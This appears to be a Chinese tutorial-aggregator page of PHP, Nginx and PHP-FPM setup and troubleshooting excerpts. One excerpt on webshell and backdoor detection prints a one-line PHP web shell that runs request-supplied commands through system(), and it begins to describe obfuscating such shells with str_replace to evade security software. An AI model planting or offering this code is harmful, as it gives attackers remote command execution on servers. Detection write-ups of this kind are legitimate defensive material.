PHP - 技术教程文章

如何在Ubuntu上将PHP-FPM升级到PHP 5.5?

现在PHP 5.5.0是稳定的,是否可以更新PHP-FPM以使用5.5.0?我在Ubuntu上使用Nginx作为我的Web服务器.解决方法:如果您愿意放弃包并从源代码构建,那么您可以拥有所需的任何PHP版本.以下是构建PHP 5.5.0的注释. https://github.com/triplepoint/web_development_vm_how_to/blob/master/docs/php_nginx_vm.md#install-php 请注意,这条路线的便利性是一个严重的权衡.从长远来看,我不能说我建议从源代码构建除测试环境以外的任何东西,但是...

ubuntu – nginx – > php5-fpm:php中的错误未记录(任何地方!)【代码】

我试图在EC2服务器上设置phpbb.经过一个小时左右的绝望,我发现phpbb启动中的某一行失败了:$db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, defined('PHPBB_DB_NEW_LINK') ? PHPBB_DB_NEW_LINK : false);轻松修复,我需要正确配置我的数据库属性. 但是,要发现我必须在php应用程序的前几个文件中逐块插入echo’1’语句.在echo语句之前,当php出错时,我只会得到一个状态为200的空白页面. 我在FPM的php.ini中打...

11.Nginx+PHP(FastCGI)高性能服务器【图】

Nginx+FastCGI安装配置: yum install pcre-devel pcre –y #下载Nginx源码包 cd /usr/src wget -c http://nginx.org/download/nginx-1.6.2.tar.gz #解压Nginx源码包 tar -xzf nginx-1.6.2.tar.gz #预编译Nginx useradd www ;./configure --user=www --group=www --prefix=/usr/local/nginx --with- http_stub_status_module --with-http_ssl_module #.configure预编译成功后,执行make命令进行编译 make #make执行成功后,执行ma...

使用shell_exec()在php脚本中执行python【代码】

我在尝试在php服务器(LAMP)中执行python时遇到了一个奇怪的问题. (safe_mode关闭) 如果我输入:$output = shell_exec("ls -lah"); echo "<pre>$Output</pre>";我得到了ls命令的结果. $output = shell_exec(“tar –version”)相同;和其他应用程序,例如gzip. 但是,如果我切换以下任何一行:$output = shell_exec("python --version"); $output = shell_exec("python2.7 --version"); $output = shell_exec("/usr/bin/python --versi...

nginx – PHP-FPM:不允许操作【代码】

当我尝试在浏览器中打开index.php时,我看到错误:No input file specified.在error.log中: 2013/11/04 22:40:07 [错误] 3435#0:* 4在stderr发送的FastCGI:“无法打开主脚本:/var/www/index.php(不允许操作)”,同时读取响应头upstream,client:10.0.2.2,server:localhost,request:“GET / HTTP / 1.1”,upstream:“fastcgi://127.0.0.1:9000”,host:“localhost” 服务器配置: > CentOS 6.4> PHP 5.4.17(从源代码安装)> ...

使用php5.5在centos 6.4上安装php-memcached【代码】

我刚刚用Nginx安装了php FASTCGI(php-fpm)v.5.5.在一个新的Centos6.4上 我正在尝试安装memcached但遇到很多问题…..这是我的步骤:/bin/rpm -ivh http://ftp.uninett.no/linux/epel/6/i386/epel-release-6-8.noarch.rpm /bin/rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm yum --enablerepo=remi,remi-php55 install nginx php-common php-fpm php-mysqlnd但在尝试添加memcached时:yum install php-pec...

php – nginx – 重写或内部重定向循环,同时内部重定向到“/index.html”【代码】

我无法弄清楚为什么会发生这种错误:“内部重定向到”/index.html“时重写或内部重定向循环” 我找到了similar post并根据我读到的内容尝试了各种建议,但无济于事. 这是我的nginx配置.任何帮助,将不胜感激!server {listen 80 default_server;listen [::]:80 default_server ipv6only=on;root /usr/share/nginx/html/public;index index.php;# Make site accessible from http://localhost/server_name ourdomain.com;location @ha...

php – nginx – laravel – hhvm-Fastcgi得到错误500【代码】

我在ubuntu 12.04 LTS 64中安装了LEMP服务器whit HHVM Fastcgi服务我通过laravel.phar安装laravel(并通过作曲家测试)当在brwoser中获取我的网站时,不显示任何错误,但在Chrome开发人员控制台中获取错误500 我在error.log文件中看不到任何错误(laravel – hhvm,nginx) 存储目录权限是777 我的nginx.conf和vhosts文件有基本配置 当我使用PHP CLI或hhvm命令时,它运行良好 谢谢你的帮助:) 我的位置块location ~ \.(hh|php)${ fastcgi_...

linux – 如何配置php5-fpm.log的logrotate?【代码】

我在运行nginx和php5-fpm的ubuntu 12.04上的/etc/php5/fpm/php-fpm.conf下启用了error_log = /var/log/php5-fpm.log. 但是我注意到php5-fpm.log没有logrotate.我试图理解我从互联网上找到的一些配置,但我不愿意在我的生产服务器上测试它. 以下是我发现的一些配置:/var/log/php5-fpm.log {rotate 12weeklymissingoknotifemptycompressdelaycompresspostrotateinvoke-rc.d php5-fpm reopen-logs > /dev/nullendscript }这是配置的li...

php – Doctrine批量插入内存使用量很大【代码】

我正在尝试使用Doctrine2和Symfony2 fixture bundle在MySQL数据库中插入大量数据(30 000行). 我看了the right way to do it.我看到很多关于内存泄漏和Doctrine的问题,但对我来说没有令人满意的答案.通常是Doctrine clear()函数. 所以,我做了各种各样的形状:while (($data = getData()) {$iteration++;$obj = new EntityObject();$obj->setName('henry');// Fill object...$manager->persist($obj);if ($iteration % 500 == 0) {$m...

php – 无法通过composer在Windows上安装laravel 5【代码】

我试图开始在Windows上使用laravel,这是我尝试的命令: rahul @ rahulserver MINGW64 / d / PhpIdeaProjects / LaravelLearning$composer create-project laravel / laravel learning-laravel-5 这是我得到的输出:Installing laravel/laravel (v5.0.22)- Installing laravel/laravel (v5.0.22)Loading from cacheCreated project in learning-laravel-5 Loading composer repositories with package information Installing depen...

Linux系统下安装配置 OpenLDAP + phpLDAPadmin【图】

实验环境: 操作系统:Centos 7.4 服务器ip:192.168.3.41 运行用户:root 网络环境:Internet LDAP(轻量级目录访问协议)是一个能实现提供被称为目录服务的信息服务,也是一套用户认证体系系统;一般在大型企业、学校、政府单位使用的比较多,LDAP是由4部分组成,这4部分分别是slapd(独立LDAP守护进程)、slurpd(独立的LDAP更新复制守护进程)、LDAP协议库、工具软件和示例客户端(phpLDAPadmin),目录服务是一种特殊的数据库系统,...

php – Docker Swarm在Nginx中获得真正的IP(客户端主机)【代码】

我有一个使用nginx和PHP的堆栈在Docker Swarm Cluster上运行. 在我的PHP应用程序中,我需要获取remote_addr($_SERVER [‘REMOTE_ADDR’]),其中包含访问我的webapp的客户端主机的真实IP. 但问题是IP通过docker swarm集群通知了nginx.它显示了内部IP,如10.255.0.2,但真正的IP是来自客户端主机的外部IP(如192.168.101.151). 我怎么解决这个问题? 我的docker-compose文件:version: '3'services:php:image: php:5.6volumes:- /var/www/...

PHP / Ubuntu – QxcbConnection:无法连接到显示中止【代码】

我在我的apache / ubuntu服务器上使用php脚本来调用一个bash脚本,该脚本触发一个以python脚本为参数的应用程序(IDAPro). PHP代码chdir('/var/www/dashboard/team/static/sql'); $output = exec('sudo -u rohan ./start.sh');现在,如果我从终端运行PHP文件,上面的代码工作正常 – 但只有当我以root用户身份运行它时.不用说,如果我直接执行bash文件,它也会运行. 但是当我在浏览器上运行PHP文件时,它不起作用,我在apache错误日志中收到...

url-rewriting – nginx php文件重写url【代码】

所以用apache我有一个文件夹: www.domain.com/folder/folder1/index.php?word=blahblah 我希望访问www.domain.com/folder/folder1/blahblah的用户在没有更改网址的情况下被重定向到上述网址. 因此我在文件夹/ folder1 /中有以下.htaccess:它完美地工作:RewriteEngine onRewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-dRewriteRule ^(.+)$index.php?word=$1所以我想用nginx实现相同的功能,我使用了两个...

让Nginx调用PHP文件来处理php-fpm下的404错误【代码】

我正在尝试配置Nginx将所有404发送到php文件以进行进一步处理.我没有工作.使用try_files,我得到一个默认的404,没有try_files我没有指定输入文件.这是我到目前为止:server {listen 192.168.100.44:80;location / {index index.html;}root /var/www/test.example.com;error_page 404 /404.php;# redirect server error pages to the static page /50x.html#error_page 500 502 503 504 /50x.html;# pass the PHP ...

php shell_exec在后台一次执行多个命令【代码】

我在php / linux中遇到问题,如下所述: 我必须通过shell_exec执行linux命令(plesk cli命令订阅webspace-off). 问题是,当我从php执行此操作时,它会工作,但重新启动apache,导致空白页,而apache重新启动. 为了解决这个问题,我必须在后台调用那个shell_exec,并有一个延迟(预期结果:网页加载,4秒后运行linux脚本.) 我做了一些尝试,如:shell_exec("sleep 4 && /var/www/vhosts/site.com/httpdocs/wrapper2 3 --webspace-off ".$domain...

nginx lnmp之nginx+php【代码】

配置如下(在server部分添加):location ~ \.php$ {include fastcgi_params;fastcgi_pass unix:/tmp/php-fcgi.sock;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;}配置说明:fastcgi_params文件在/usr/local/nginx/conf/下面,其内容为fastcgi相关的变量 fastcgi_pass后面跟的是php-fpm服务监听地址,可以是IP:PORT,也可以是unix socket地址,也支持upstream的地址 fastcgi_index...

雷林鹏分享:linux环境下安装PHP Yaf框架【图】

在 Linux 系统下安装YAF要求:PHP 5.2+下载Yaf的最新版本, 解压缩以后, 进入Yaf的源码目录, 依次执行(其中PHP_BIN是PHP的bin目录):最新版YAF下载地址:https://github.com/laruence/php-yaf编译Yaf:$PHP_BIN/phpize./configure --with-php-config=$PHP_BIN/php-configmakemake install然后在php.ini中载入yaf.so, 重启PHP.安装成功后,可以通过phpinfo查看YAF模块:文章转载自 [http://www.php230.com](编辑:雷林鹏 来源:网络 侵...

CentOS php安装GD依赖库【图】

CentOS php安装GD依赖库 一、首先安装依赖yum -y install libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel 二、按照安装普通扩展的方法安装gd即可, 链接假设php的源码目录:/usr/local/src/php 假设php的安装目录:/usr/local/php1、进入到php源码目录下的ext, 里面都是扩展cd /usr/local/src/php/ext2、 进入gd目录cd gd/2.1、首先运行命令:/usr/local/php/bin/phpize      注释:phpize命令是根据p...

yum升级php版本

查看当前 PHP 版本1php -v查看当前 PHP 相关的安装包,删除之 1 2 3 4 5yum list installed |?grep php yum remove php yum remove php-*更换 RPM 源1 2 3 4 5 6 7 8 9#Centos 5.X: rpm -Uvh http://mirror.webtatic.com/yum/el5/latest.rpm #CentOs 6.x: rpm -Uvh http://mirror.webtatic.com/yum/el6/latest.rpm #CentOs 7.X: rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm rpm -Uvh https://mirr...

nginx配置thinkphp5【代码】

1.根据官方文档,下载tp5最新代码 地址 https://www.kancloud.cn/manual/thinkphp5/118003 步骤:(使用git安装) ①首先克隆下载应用项目仓库git clone https://github.com/top-think/think tp5②然后切换到tp5目录下面,再克隆核心框架仓库:git pull https://github.com/top-think/framework③验证是否安装成功,在浏览器中输入地址http://localhost/tp5/public/这时,浏览器中不知道你输入的地址指向的是谁,在nginx服务器下...

CentOS7.3编译安装PHP

系统:CentOS Linux release 7.3.1611内核:3.10.0-514.el7.x86_64PHP:php-5.3.27.tar.gz 步骤:#yum install -y libxml2 libxml2-devel curl curl-devel freetype freetype-devel libpng libpng-devel libjpeg-devel openssl openssl-devel 下载php:#wget http://am1.php.net/distributions/php-5.3.27.tar.gz#cp php-5.3.27.tar.gz /usr/local/src#cd /usr/local/src#tar -zxvf php-5.3.27.tar.gz#useradd -s /sbin/nologin ph...

PHP安全之webshell和后门检测

PHP安全之webshell和后门检测 一、各种webshell 一句话木马,其形式如下所示:<?php if(isset($_REQUEST['cmd'])){ ????$cmd = ($_REQUEST["cmd"]); ????system($cmd); ????echo?"</pre>$cmd<pre>"; ????die; } ?>这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的 a、使用str_replace函数<?php $a =str_replace(x,"","axsxxsxexrxxt");...

windows server2008 IIS下目录 [ application/database.php ] 不可写!解决

windows server2008目录 [ application/database.php ] 不可写!解决? ?在服务器上找到网站根目录 ? 网站用的thinkphp的框架 ? 属性 -- 安全 -- 编辑 -- 找到IIS_IUSERS的用户 ? 修改这个用户的权限: ? 把: ?修改 ?打钩,确定就可以了

phpstudy_php7_nginx环境配置

1,phpstudy安装包安装成功,默认环境为php5.4_apache环境2,右键单击phpstudy图标-》属性,单击兼容性选项卡-》更改所有用户设置,复选框选中 “以兼容模式运行这个程序”,且下拉框选择 windows vista,复选框选中“以管理员身份运行此程序”。3,打开控制面板,查看vc包(Microsoft visual C++)安装情况,若已安装部分版本,一一卸载,然后使用360杀毒软件 清理垃圾-》清理注册表信息(退出所有杀毒软件),然后安装vc4,解压以下...

linux下升级php5.4到php5.6

进入终端后查看php版本 php -v 输出可能如下: PHP 5.4.35 (cli) (built: Nov 14 2014 07:04:10) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.6.0, Copyright (c) 1998-2015 Zend Technologies with Zend OPcache v7.0.4-dev, Copyright (c) 1999-2015, by Zend Technologies 执行下面的命令升级软件仓库 rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm rpm -Uvh https://mirror.webtatic.com/yum/el...

php nginx 实时输出的简单实现方法简介

本文通过实例代码给大家介绍了php nginx 实时输出的简单实现方法,非常不错,具有参考借鉴价值,需要的朋友参考下吧PHP 里开启实时输出方法是 ob_implicit_flush() , 但它大部分情况下都不管用, 因为 php.ini 配置里 output_buffering 输出缓冲大部分是 On 开启的, 还有 zlib.output_compression 也经常会被开启, 除了 PHP 这一层,还有 Nginx 的缓冲设置 proxy_buffering ,和压缩 gzip 也大都是开启的。 为了一两个页面的需求...

php 镜像richarvey/nginx-php-fpm的ngnix配置【代码】【图】

1.遇到错误option error_page 405 =200 $request_uri; location ~ ^/(json)/ { # root /data/website/xxxx.com/js/json; error_page 405 =200 $request_uri; } 2.当你框架是tp5发现,url不能正常跳转时 location / {#添加下面代码,不要动其他代码if (!-e $request_filename) {rewrite ^(.*)$ /index.php?s=/$1 last;break;} }3.解决跨域问题 CORS : 有时候前端调用你的接口会出现跨域问题,首先我的第一反应是代码头部加上:...

phpstudy2017 、2018windows环境下打开本地环境网页目录浏览方法【图】

首先你需要下载了phpstudy的2017或者2018版本。接着运行你的phpstudy运行如图所示,大概是这个样子的。接着我们选择左键点击软件右下角的其他选项菜菜单,再选择其其目录下的(打开配置文件菜单),再选择打开配置文件菜单下的(httpd-conf)选项,如图所示。 如果没有用默认记事本打开过的,选择记事本打开即可。 接下来进入到如图所示的界面:按住ctrl+f键进入到搜索页面,如图所示:再查找内容当中输入 DirectoryIndex 然后找到如图...